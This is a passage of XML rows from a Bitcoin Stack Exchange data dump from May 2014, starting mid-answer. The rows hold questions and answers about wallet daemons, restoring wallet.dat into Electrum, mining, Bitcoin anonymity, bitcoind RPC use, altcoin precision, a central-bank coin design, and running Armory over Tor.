that a process on the private server listens to. This issues a new address for payment and puts it in the web applications database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we want to accept payment we display the new address to the user on the web page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the private server a deamon runs every minute or so that calls getreceivedbyaddress  -minconf with the addresses we have displayed to users to receive payment.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when it sees a new payment it updates the webservers database with the record of the payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it more complicated but secure the communication is also encrypted and the details of the transaction signed using a shared secret between the web server and the wallet daemon process. So for example the web application wont regard the payment as accepted until it sees a signed transaction in its database and the deamon wont put one there until it has seen the minimum number of transactions confirmations on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took me a couple of days to implement but I had quite a big head start.&#xA;The easiest way is to go with one of the payment vendors who have done the hard work for you unless you plan on becoming one of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several other gotyas you have to be aware of.. for example&#xA;Keeping a secure backup of the remote wallets&#xA;Keeping the address pool in the remote wallets primed and making sure you have backed up the wallet after priming it.&#xA;Storing the wallet pass-phrases so you don't lock your self out &#xA;having a way to change them..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do is have a multi signature approach where half the wallet phrase is sotred in the daemon binary so the developer could get hold of it.. The other half entered at run time by the support guy. Neither of them would have the full pass phrase so cant steel the wallet and run away with it easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the problem of creating too many addresses and not being able to remove them.&#xA;At them moment this is not a problem for us as our solution will scale as we get more users we can create more wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for cold storage I'm not completely convinced this offers us any more security than we have now with out giving us more problems associated with managing the cold part of the storage. At the moment its a numbers game. where by if we only have $5000 in a wallet its probably not worth it. If we have $3 million in a wallet then we would firstly be ecstatic our business was that successful, Then probably invest in a more secure private data center some brand new servers and some very clever security people&lt;/p&gt;&#xA;" OwnerUserId="15368" LastEditorUserId="15368" LastEditDate="2014-05-14T08:34:31.563" LastActivityDate="2014-05-14T08:34:31.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25331" PostTypeId="1" CreationDate="2014-05-14T10:20:24.300" Score="4" ViewCount="20406" Body="&lt;p&gt;My primary PC died last month due to what I believe is a motherboard error. My EVGA board displays &quot;FF&quot;. The fans, drives, everything powers up as usual. But I don't hear any beep, no POST, no BIOS, just nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since then I've taken up residence on a box much more modest than what I'm used to, but I've used it as an opportunity to learn Linux. Nothing like jumping in head first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily I have a backup wallet.dat file taken at some point after my last known transaction. I changed the filename of the file in the directory, then renamed my backup as wallet.dat and loaded up Bitcoin Core on Linux Mint 13 Maya.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was partially successful. I could view and export a list of every transaction I've ever made with my desktop wallet. I opened my CSV file in Calc and found the total sum of transactions left the balance equal to what I remember last having in the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the wallet has no balance and all the transactions have a &quot;conflicted&quot; status. Do I need to download the blockchain first? Is it worth my time to download bootstrap.dat?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After my funds are accessible in Bitcoin Core, how do I then move them to Electrum?&lt;/p&gt;&#xA;" OwnerUserId="15754" LastActivityDate="2020-08-30T23:01:50.677" Title="How do I load wallet.dat on new PC and import everything into Electrum?" Tags="|bitcoin-core|wallet.dat|electrum|bootstrap.dat|" AnswerCount="3" CommentCount="0" ClosedDate="2020-09-04T18:57:56.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="25332" PostTypeId="2" ParentId="25331" CreationDate="2014-05-14T10:26:02.683" Score="2" Body="&lt;p&gt;You can also import the &lt;code&gt;wallet.dat&lt;/code&gt; directly into &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt;. Bitcoin Core needs to download the whole chain (as you mentioned) so that'll take a while. Without the chain, your transaction are indeed illegal/conflicted. Since you have the wallet, you can just install Electrum and import it there. Electrum doesn't need to download the chain, so your balance would be visible (and accessible, even more important) immediately. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-14T10:26:02.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25333" PostTypeId="2" ParentId="25322" CreationDate="2014-05-14T10:40:57.073" Score="0" Body="&lt;p&gt;This is the header for block #300000&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02 00 00 00 7E F0 55 E1 │ 67 4D 2E 65 51 DB A4 1C&#xA;D2 14 DE BB EE 34 AE B5 │ 44 C7 EC 67 00 00 00 00&#xA;00 00 00 00 D3 99 89 63 │ F8 0C 5B AB 43 FE 8C 26&#xA;22 8E 98 D0 30 ED F4 DC │ BE 48 A6 66 F5 C3 9E 2D&#xA;7A 88 5C 91 02 C8 6D 53 │ 6C 89 00 19 59 3A 47 0D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Version number is 2 (the very first digit), but you have hardcoded it to 1 &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;header_hex = (&quot;01000000&quot; +&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-05-14T10:40:57.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25334" PostTypeId="1" CreationDate="2014-05-14T12:21:20.333" Score="2" ViewCount="154" Body="&lt;p&gt;Conceptually, even if the network doesn't have any &quot;real&quot; transactions, the very act of mining creates new transactions to be mined. Self fulfilling prophecy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what is the real purpose of mining if the network is virtually dead? I suppose at that point the currency would be worth nothing and no one &lt;em&gt;would&lt;/em&gt; mine it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bit of a philosophical question :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, is this similar to how pre-mining works? Where the creators mine the coin ahead of it's release?&lt;/p&gt;&#xA;" OwnerUserId="15328" LastEditorUserId="5406" LastEditDate="2016-03-31T16:15:01.770" LastActivityDate="2016-03-31T16:15:01.770" Title="Miners Create Their Own Work?" Tags="|mining-reward|mining-theory|empty-blocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25335" PostTypeId="1" CreationDate="2014-05-14T13:07:54.357" Score="1" ViewCount="70" Body="&lt;p&gt;After the hacking and closing of Mt Gox there has naturally been some talk if there is a way to recover the lost coins.  One &quot;expert&quot; commented that this would be a great test of the claim that BitCoins could be easily traced and thus supirior to other currencies in cases like this...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I&lt;/em&gt; (on the other hand) was under the impression that BitCoins were anonymous - or at least semi-anonymous... with som precautions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've read the &quot;How anonymous are Bitcoin transactions?&quot; on this site, and things are a bit clearer to me.  But this seems to (partly) contradict the claim that BitCoins are especially tracable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is correct?  Has there been any major changes since the &quot;How anonymous are Bitcoin transactions?&quot; was written?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/52/how-anonymous-are-bitcoin-transactions&quot;&gt;How anonymous are Bitcoin transactions?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1807" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-05-14T13:07:54.357" Title="Are Bitcoins anonymous or tracable? Any changes from &quot;How anonymous are Bitcoin transactions?&quot;?" Tags="|privacy|" AnswerCount="0" CommentCount="4" ClosedDate="2014-11-01T14:47:31.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="25336" PostTypeId="2" ParentId="25334" CreationDate="2014-05-14T13:09:50.183" Score="3" Body="&lt;p&gt;The goal of mining is essentially to (i) create new coins out of thin-air and (ii) to secure the network from double-spending attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, the act of mining does not create new transactions to be mined, and it does not create work for itself. It validates transactions and keeps the nodes of the network on the same state.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-05-14T14:14:46.880" LastActivityDate="2014-05-14T14:14:46.880" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25339" PostTypeId="1" CreationDate="2014-05-14T13:20:09.863" Score="1" ViewCount="1006" Body="&lt;p&gt;AFAIK, verification of transactions on the blockchain doesn't require the full chain data and six to ten verification will be enough (which makes uses of a &lt;a href=&quot;https://en.wikipedia.org/wiki/Merkle_tree&quot; rel=&quot;nofollow&quot;&gt;Merkle tree&lt;/a&gt;). Thus, why cannot it abridge the data for a future complete node?&lt;/p&gt;&#xA;" OwnerUserId="15791" OwnerDisplayName="cloudr3414" LastEditorUserId="5406" LastEditDate="2014-10-03T10:31:05.583" LastActivityDate="2014-10-03T10:31:05.583" Title="Why doesn't the Bitcoin blockchain truncate past data?" Tags="|blockchain|" AnswerCount="1" CommentCount="3" ClosedDate="2014-05-20T23:25:52.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="25340" PostTypeId="2" ParentId="10534" CreationDate="2014-05-14T17:52:29.807" Score="3" Body="&lt;p&gt;Here is a complete API reference that has a pending pull request for bitcoin.org&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://bitcoindev.us.to/en/developer-reference#bitcoin-core-apis&quot; rel=&quot;nofollow&quot;&gt;http://bitcoindev.us.to/en/developer-reference#bitcoin-core-apis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;More information:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=511876.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=511876.0&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-14T17:52:29.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25341" PostTypeId="2" ParentId="25331" CreationDate="2014-05-14T18:12:22.503" Score="1" Body="&lt;p&gt;The best way to switch to Electrum is to send all the bitcoins you have on your old wallet to one of the addresses on your Electrum wallet. This way you'll have all your bitcoins secured with your seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could import the private keys from your old client, but you will have to keep a backup of those keys separately as they won't become part of your Electrum seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://electrum.org/tutorials.html#switching-to-electrum&quot; rel=&quot;nofollow&quot;&gt;https://electrum.org/tutorials.html#switching-to-electrum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2014-05-14T18:12:22.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25342" PostTypeId="1" AcceptedAnswerId="32208" CreationDate="2014-05-14T18:33:24.370" Score="4" ViewCount="454" Body="&lt;p&gt;i'm trying to understand how to calculate/obtain balance of a P2SH address added to my running bitcoind with &quot;addmultisigaddress...&quot; and that is properly displayed by the command &quot;getaddressesbyaccount&quot; (it starts with 3* instead of 1*).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, i've created and spent a raw transaction to transfer some funds to that P2SH address, after a while I was able to find this transaction on blockexplorer.com and blockchain.info, so I can assume that funds are regularry transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I can't see those coins in my balance, also having more then 100 confirms (i'm using bitcoind v0.8.6). So I can imagine that bitcoind not recognize this transaction directly as mine via the blockchain (10GB+). Is there an alternative way not involving external services?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="14709" LastActivityDate="2014-10-29T17:52:52.453" Title="How to get bitcoin P2SH (3*) address balance with bitcoind" Tags="|bitcoind|balance|escrow|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25343" PostTypeId="1" AcceptedAnswerId="25344" CreationDate="2014-05-14T18:55:23.607" Score="1" ViewCount="157" Body="&lt;p&gt;I would tremendously appreciate it if you could walk me through &lt;a href=&quot;https://blockchain.info/tx/922e3afd9304a3a286ae0d65f45cb58cd0d7a22dccb58c73c401bc5069810d27&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt;.&#xA;Why are there two addresses on the right? What is the longer hash called that is directly under &quot;Transaction&quot; (not the address)? Why do so many transactions occur in the middle of the ocean? Are there any other better websites to view the blockchain than blockchain.info? What makes a transaction &quot;High Priority&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wm4EY.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="15772" LastEditorUserId="12034" LastEditDate="2014-05-14T19:22:09.473" LastActivityDate="2014-05-15T19:56:00.147" Title="Please walk me through a typical page on blockchain.info" Tags="|blockchain.info|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25344" PostTypeId="2" ParentId="25343" CreationDate="2014-05-14T19:21:15.260" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why are there two addresses on the right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin transactions often have two outputs: one is the intended recipient, the other is a &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow noreferrer&quot;&gt;change&lt;/a&gt; address. This is because outputs must be used in their entirety, so the remainder is sent to an address that the sender owns. In this case, the change address was the address that the money was sent from, but this is not always the case (it can marginally improve security and anonymity to use a new address each time, including for change).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the longer hash called that is directly under &quot;Transaction&quot; (not the address)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The transaction hash. It is used as a sort of identifier for the transaction, but beware using it for that before it's in the blockchain due to &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow noreferrer&quot;&gt;malleability&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why do so many transactions occur in the middle of the ocean?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is the lat/long coordinates 0N 0E. It really just means that blockchain.info has no good data on where this came from, so it defaults there.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there any other better websites to view the blockchain than blockchain.info?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not in my opinion, as far as I'm aware.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What makes a transaction &quot;High Priority&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If a transaction includes a standard transaction fee and isn't &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5664/12034&quot;&gt;non-standard&lt;/a&gt;, it will quickly be transmitted to nearly every miner in the world, who will start working them quickly. Some transactions have no fees attached, e.g. see &lt;a href=&quot;https://blockchain.info/tx/52f02d4ce714ea0f9330520b889138900693259df4cf60767f715624f1634a3a&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt; (estimated time is &quot;Within 6 Blocks (Medium Priority)&quot;) or find another on the &lt;a href=&quot;https://blockchain.info/unconfirmed-transactions?offset=2200&quot; rel=&quot;nofollow noreferrer&quot;&gt;unconfirmed list&lt;/a&gt;. These &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow noreferrer&quot;&gt;may be transmitted&lt;/a&gt; across the network, based on a few rules including the age and size of the inputs. Miners and nodes might not be as quick about transmitting these or may limit it to a few free transactions per block, so the transaction might not get into the chain as quickly.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-05-15T19:56:00.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25345" PostTypeId="1" CreationDate="2014-05-14T20:08:38.217" Score="1" ViewCount="240" Body="&lt;p&gt;I am developing a web application in PHP. I wish to be able to detect incoming transactions whenever they come, by using the 'listunspent' Bitcoin JSON RPC call. As expected, a long list of transactions are spewed out. My problem is that I don't see how I would be able to deal with each of the transactions in the array. I tried using this code to test with at first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function processTransaction() {&#xA;    global $bitcoin;&#xA;    $unspent = $bitcoin-&amp;gt;listunspent();&#xA;    $address = $unspent['address'];&#xA;    echo $address;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, as expected, the function does not work. I am guessing that I would have to loop through the entire 'unspent' array and deal with each transaction individually. This is where I get stuck. How do I select or loop through this entire array?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, once I have dealt with a transaction, is there a way to mark the transaction as 'spent'? Is there a way to do this without having to send the coins to another wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kind of code I think I would have to use is something similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function processTransaction() {&#xA;    global $bitcoin;&#xA;    $unspent = $bitcoin-&amp;gt;listunspent();&#xA;&#xA;        foreach ($unspent as $address) {&#xA;            //...do something with the address&#xA;            //...mark transaction as 'spent'&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Just so that you are in context with the question, here is a brief overview of the site I am developing. The site is called &lt;a href=&quot;http://vertodds.co.uk/&quot; rel=&quot;nofollow&quot;&gt;'Vertodds'&lt;/a&gt; and what it is, is a gambling site. You enter in your Vertcoin address and a new unique deposit address is created for you. You can then deposit VTC into your unique deposit address, and there is a 49% chance of doubling your coin.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your time and knowledge.&lt;/p&gt;&#xA;" OwnerUserId="15740" LastActivityDate="2014-05-14T20:08:38.217" Title="Accessing certain parts from the 'listunspent' array" Tags="|transactions|json-rpc|php|gambling|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25347" PostTypeId="1" AcceptedAnswerId="25353" CreationDate="2014-05-14T20:49:45.647" Score="2" ViewCount="104" Body="&lt;p&gt;Is it possible to create a bitcoin-like system that has a central authority?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the reason that many people like bitcoin is that it is completely unregulated, but I was thinking that a &quot;central bank&quot; of sorts could make a cryptocurrency more like a real currency (less subject to huge short-term fluctuations) if it were able to create cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be possible to do cryptographically (within the algorithm itself), or what would it require?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: More specifically, what would be the best way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: I still want to keep the P2P transaction system, just have a central regulation system that can create and destroy coins.  I wouldn't want to do something like Arscoin where the server maintenance was &lt;em&gt;less than optimal&lt;/em&gt;, to say the least.&lt;/p&gt;&#xA;" OwnerUserId="15774" LastEditorUserId="15774" LastEditDate="2014-05-14T21:12:39.823" LastActivityDate="2014-05-15T01:11:42.677" Title="Cryptographic &quot;Central Bank&quot;" Tags="|alternatives|altcoin|exchange-rate|price-volatility|" AnswerCount="1" CommentCount="3" ClosedDate="2014-05-20T23:21:33.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="25348" PostTypeId="1" CreationDate="2014-05-14T22:32:17.537" Score="1" ViewCount="167" Body="&lt;p&gt;I am beginning to work with multi-sig transactions, I understand how they work and how to sign raw transactions but how do you go about A) listing the input transactions for this address using bitcoind and B) more importantly, how do you find the redeemScript and scriptPubKey for constructing the transaction.&lt;/p&gt;&#xA;" OwnerUserId="15777" LastActivityDate="2014-11-28T20:02:19.890" Title="Finding input TX for P2SH addresses" Tags="|bitcoind|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25349" PostTypeId="1" AcceptedAnswerId="25352" CreationDate="2014-05-14T22:45:14.520" Score="3" ViewCount="378" Body="&lt;p&gt;I am currently working with a number of altcoins and and I need to support deposits and withdrawals in currencies with very large coin number cap like Dogecoin. I am wondering whether the Bitcoin Core client that is the basis for such altcoin clients supports such high denomination currencies internally and in its API (for example, when calling &lt;code&gt;getbalance&lt;/code&gt; can it display balances of 10^12 coins with a precision of 1 satoshi?), or is there a limit to the precision used?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-05-14T23:19:52.033" Title="Does the Bitcoin Core API support high-precision balance display?" Tags="|bitcoin-core|development|api|dogecoin|money-supply|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25351" PostTypeId="2" ParentId="25349" CreationDate="2014-05-14T22:56:44.767" Score="3" Body="&lt;p&gt;It &lt;a href=&quot;https://github.com/bitcoin/bitcoin/search?q=balance&amp;amp;type=Code&quot; rel=&quot;nofollow&quot;&gt;appears&lt;/a&gt; as if the official client is using &lt;code&gt;qint64&lt;/code&gt;, so there will be no resolution past the decimal point.  &lt;a href=&quot;http://www.qtcentre.org/threads/33547-Max-and-Min-Values-for-qint64&quot; rel=&quot;nofollow&quot;&gt;The max value&lt;/a&gt; is bigger than Bitcoin's expected max.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use the same data types as the coins in question, and you should be ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use arbitrary precision for microbalances in your own app, but you won't be able to transfer them on the official blockchain.  Others might support arbitrary precision, but I haven't seen one yet that does.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-05-14T22:56:44.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25352" PostTypeId="2" ParentId="25349" CreationDate="2014-05-14T23:19:52.033" Score="2" Body="&lt;p&gt;As Gracchus said, Bitcoin internally uses 64bit integers. Bitcoin's JSON interface on the other hand uses doubles, which give only 52 bit precision. Both types are big enough for bitcoin (double only for data exchange, the precision of doubles is not enough for actual calculations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the specific case of Dogecoin, the precision of the JSON interface (and parts of the GUI) is a known problem which we hope to fix in the future. Handling values in the range of hundreeds of million of dogecoin suffers from this currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The internally used 64bit integers are also a problem for Dogecoin which is being tracked. This is mostly a problem if anyone ever accumulates at leastn 2^64 Koinu (Satoshi) in a single wallet. This problem should be limited to the wallet, on the protocol level the size of transactions is limited to 10 billion doge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how other coins handle this. There's at least one coin out there which supports arbitrary precision, but I forgot its name.&lt;/p&gt;&#xA;" OwnerUserId="15779" LastActivityDate="2014-05-14T23:19:52.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25353" PostTypeId="2" ParentId="25347" CreationDate="2014-05-15T01:11:42.677" Score="2" Body="&lt;p&gt;It would be pretty easy to implement this using the Bitcoin source:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Have the central bank generate a private key K.  Hardcode the corresponding public key into the source.  Modify  the transaction verification code so that any transaction signed by K is allowed to have outputs that exceed its inputs (or no inputs at all).  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify the verification code further to reject regular &quot;coinbase&quot; transactions.  Miners can still mine, but rather than getting a block reward, they are rewarded only by transaction fees (a la Bitcoin in 2140).  So you still have the decentralized transaction register confirmed by proof-of-work, but mining doesn't create new money.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change port numbers and version bytes, mine a new genesis block, all the other stuff that any altcoin needs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now the central bank can create money at will, just by signing a transaction that has no inputs but does have outputs (paying the new coins to somebody of their choosing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The central bank can destroy money &lt;em&gt;that it holds&lt;/em&gt;, simply by sending to an &lt;a href=&quot;https://blockchain.info/address/1BitcoinEaterAddressDontSendf59kuE&quot; rel=&quot;nofollow&quot;&gt;eater address&lt;/a&gt; with no private key.  This doesn't need any changes as it's already possible for anyone to destroy their own Bitcoins this way.  If you want to give them the ability to destroy money held by &lt;em&gt;someone else&lt;/em&gt;, you could add a rule that a transaction signed by the central bank's key may spend any output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice it might be better for the central bank to have a relatively large number of private keys, and a system to revoke specific ones in case they are compromised (perhaps with a special kind of transaction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the hard part would be convincing people that this is a good idea, that your central bank is trustworthy, etc, etc.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-15T01:11:42.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25355" PostTypeId="1" CreationDate="2014-05-15T01:45:17.620" Score="1" ViewCount="1345" Body="&lt;p&gt;I'm trying to set up Armory with Tor by directing all Armory communications to port 9150 which is the one that I have been told my Tor browser uses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I start Armory or the Tor Browser, I activate bitcoind with the terminal command 'bitcoind -proxy=127.0.0.1:9150'. But when I then start Armory, it tells me that I must shut down this instance of the program and allow Armory to start it instead. OK, but there seems to be no way to inject the command line switches into the version Armory starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I disable the the Armory checkbox 'Let Armory run bitcoind in the background' then it does not give me that objection message but instead never goes online even if I have started bitcoind manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another thread on this subject but, since I am new here, I don't know if I can just attach a new question to an old thread or must post a new one.  So, I decided to post a new one, sorry if that is not the correct procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, to address the issue of a Wiki brought up in the older thread, the problem seems to keep changing because the functions of Armory and Tor keep changing. For instance, I can't run Vidalia on my system because I run Ubuntu 12.04 and Vidalia is not available for that version. I must run the Tor browser instead to get activation of the Tor network. So perhaps a Wiki would be good.&lt;/p&gt;&#xA;" OwnerUserId="15782" LastEditorUserId="5406" LastEditDate="2014-12-29T14:45:19.617" LastActivityDate="2014-12-29T14:45:19.617" Title="How can I set the port of bitcoind to run Armory through Tor?" Tags="|armory|tor|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25356" PostTypeId="1" CreationDate="2014-05-15T02:57:17.787" Score="2" ViewCount="240" Body="&lt;p&gt;I am having trouble with opening Armory today, after the '&lt;em&gt;building databases&lt;/em&gt;' portion completes, armory automatically closes itself. When I reopen it, it says Bitcoin-QT must be killed. So I kill that and Armory closes again after the databases and scans. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why this is happening and I am seeking possible solutions. &lt;/p&gt;&#xA;" OwnerUserId="15783" LastEditorUserId="30732" LastEditDate="2016-10-20T17:47:54.767" LastActivityDate="2016-10-20T17:47:54.767" Title="Armory Closing after Building Databases completes" Tags="|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25358" PostTypeId="2" ParentId="25339" CreationDate="2014-05-15T07:48:51.507" Score="4" Body="&lt;p&gt;The idea of Bitcoin is that you can obtain the current state of the network without having to trust anyone. You essentially rely on the fact that the state that has most work put into it, is the valid state, and that all transactions are chained together up until the genesys block, after which there are no more transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you were to truncate this state (the block chain) in half, you could hard code this information into the software and it could reach some form of consensus among the nodes of the network. However this opens the door for attacks, because a dishonest node could easily fake and send you a wrong block height information, perhaps making you believe that a different history happened before the truncation of the block chain. And it could do this by simply broadcasting chunks of the history that was truncated, because lots of work has been put in that chunk and your client is programmed to accept longest worked on chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would really have no way of knowing unless you read the entire history yourself.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-05-15T07:56:20.830" LastActivityDate="2014-05-15T07:56:20.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25359" PostTypeId="2" ParentId="22875" CreationDate="2014-05-15T11:18:47.693" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://1broker.com&quot; rel=&quot;nofollow&quot;&gt;1broker&lt;/a&gt; is a brokerage that facilitates Bitcoin purchases of stocks of Google, Microsoft, Apple and Facebook. They also offer Bitcoin investment in commodities and forex. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The service is free to use, as in they don't have an up front charge, but it costs 0.001 BTC per withdrawal. Quoting from their website, &quot;We profit from the spread, the difference between the bid and ask price. This means you will start with a very small loss, when a new position is opened.&quot;&lt;/p&gt;&#xA;" OwnerUserId="15786" LastEditorUserId="5406" LastEditDate="2014-05-19T20:37:43.810" LastActivityDate="2014-05-19T20:37:43.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
